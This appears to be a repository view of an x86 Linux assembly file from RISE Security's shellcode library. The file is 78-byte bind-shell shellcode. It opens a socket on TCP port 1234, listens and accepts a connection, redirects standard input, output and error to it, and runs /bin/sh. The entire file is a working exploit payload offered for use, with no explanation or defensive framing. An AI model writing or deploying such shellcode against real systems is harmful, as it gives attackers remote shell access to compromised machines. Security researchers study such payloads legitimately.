2008-10-10 18:23:18 +00:00
|
|
|
/*
|
2008-11-17 10:34:26 +00:00
|
|
|
* $Id: lin-x86-bndsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
2008-10-10 18:23:18 +00:00
|
|
|
*
|
|
|
|
|
* lin-x86-bndsockcode.s
|
|
|
|
|
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
|
|
|
|
*
|
|
|
|
|
* This library is free software; you can redistribute it and/or
|
|
|
|
|
* modify it under the terms of the GNU Lesser General Public
|
|
|
|
|
* License as published by the Free Software Foundation; either
|
|
|
|
|
* version 2.1 of the License, or (at your option) any later version.
|
|
|
|
|
*
|
|
|
|
|
* This library is distributed in the hope that it will be useful,
|
|
|
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
|
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
|
|
|
* Lesser General Public License for more details.
|
|
|
|
|
*
|
|
|
|
|
* You should have received a copy of the GNU Lesser General Public
|
|
|
|
|
* License along with this library; if not, write to the Free Software
|
|
|
|
|
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
|
|
|
*
|
|
|
|
|
*/
|
|
|
|
|
|
|
|
|
|
.global _start
|
|
|
|
|
|
|
|
|
|
_start:
|
|
|
|
|
|
|
|
|
|
# 78 bytes
|
|
|
|
|
|
|
|
|
|
bndsockcode:
|
|
|
|
|
xorl %ebx,%ebx
|
|
|
|
|
mull %ebx
|
|
|
|
|
pushl %ebx
|
|
|
|
|
incl %ebx
|
|
|
|
|
pushl %ebx
|
|
|
|
|
pushl $0x02
|
|
|
|
|
movl %esp,%ecx
|
|
|
|
|
movb $0x66,%al
|
|
|
|
|
int $0x80
|
|
|
|
|
|
|
|
|
|
popl %ebx
|
|
|
|
|
popl %esi
|
|
|
|
|
pushl %edx
|
|
|
|
|
pushl $0xd20402ff
|
|
|
|
|
pushl $0x10
|
|
|
|
|
pushl %ecx
|
|
|
|
|
pushl %eax
|
|
|
|
|
movl %esp,%ecx
|
|
|
|
|
pushl $0x66
|
|
|
|
|
popl %eax
|
|
|
|
|
int $0x80
|
|
|
|
|
|
|
|
|
|
movl %eax,0x04(%ecx)
|
|
|
|
|
movb $0x04,%bl
|
|
|
|
|
movb $0x66,%al
|
|
|
|
|
int $0x80
|
|
|
|
|
|
|
|
|
|
incl %ebx
|
|
|
|
|
movb $0x66,%al
|
|
|
|
|
int $0x80
|
|
|
|
|
|
|
|
|
|
xchgl %eax,%ebx
|
|
|
|
|
popl %ecx
|
|
|
|
|
|
|
|
|
|
0:
|
|
|
|
|
pushl $0x3f
|
|
|
|
|
popl %eax
|
|
|
|
|
int $0x80
|
|
|
|
|
|
|
|
|
|
decl %ecx
|
|
|
|
|
jns 0b
|
|
|
|
|
|
|
|
|
|
shellcode:
|
|
|
|
|
# xorl %eax,%eax
|
|
|
|
|
# pushl %eax
|
|
|
|
|
pushl $0x68732f2f
|
|
|
|
|
pushl $0x6e69622f
|
|
|
|
|
movl %esp,%ebx
|
|
|
|
|
pushl %eax
|
|
|
|
|
pushl %ebx
|
|
|
|
|
movl %esp,%ecx
|
|
|
|
|
# cltd
|
|
|
|
|
movb $0x0b,%al
|
|
|
|
|
int $0x80
|
|
|
|
|
|
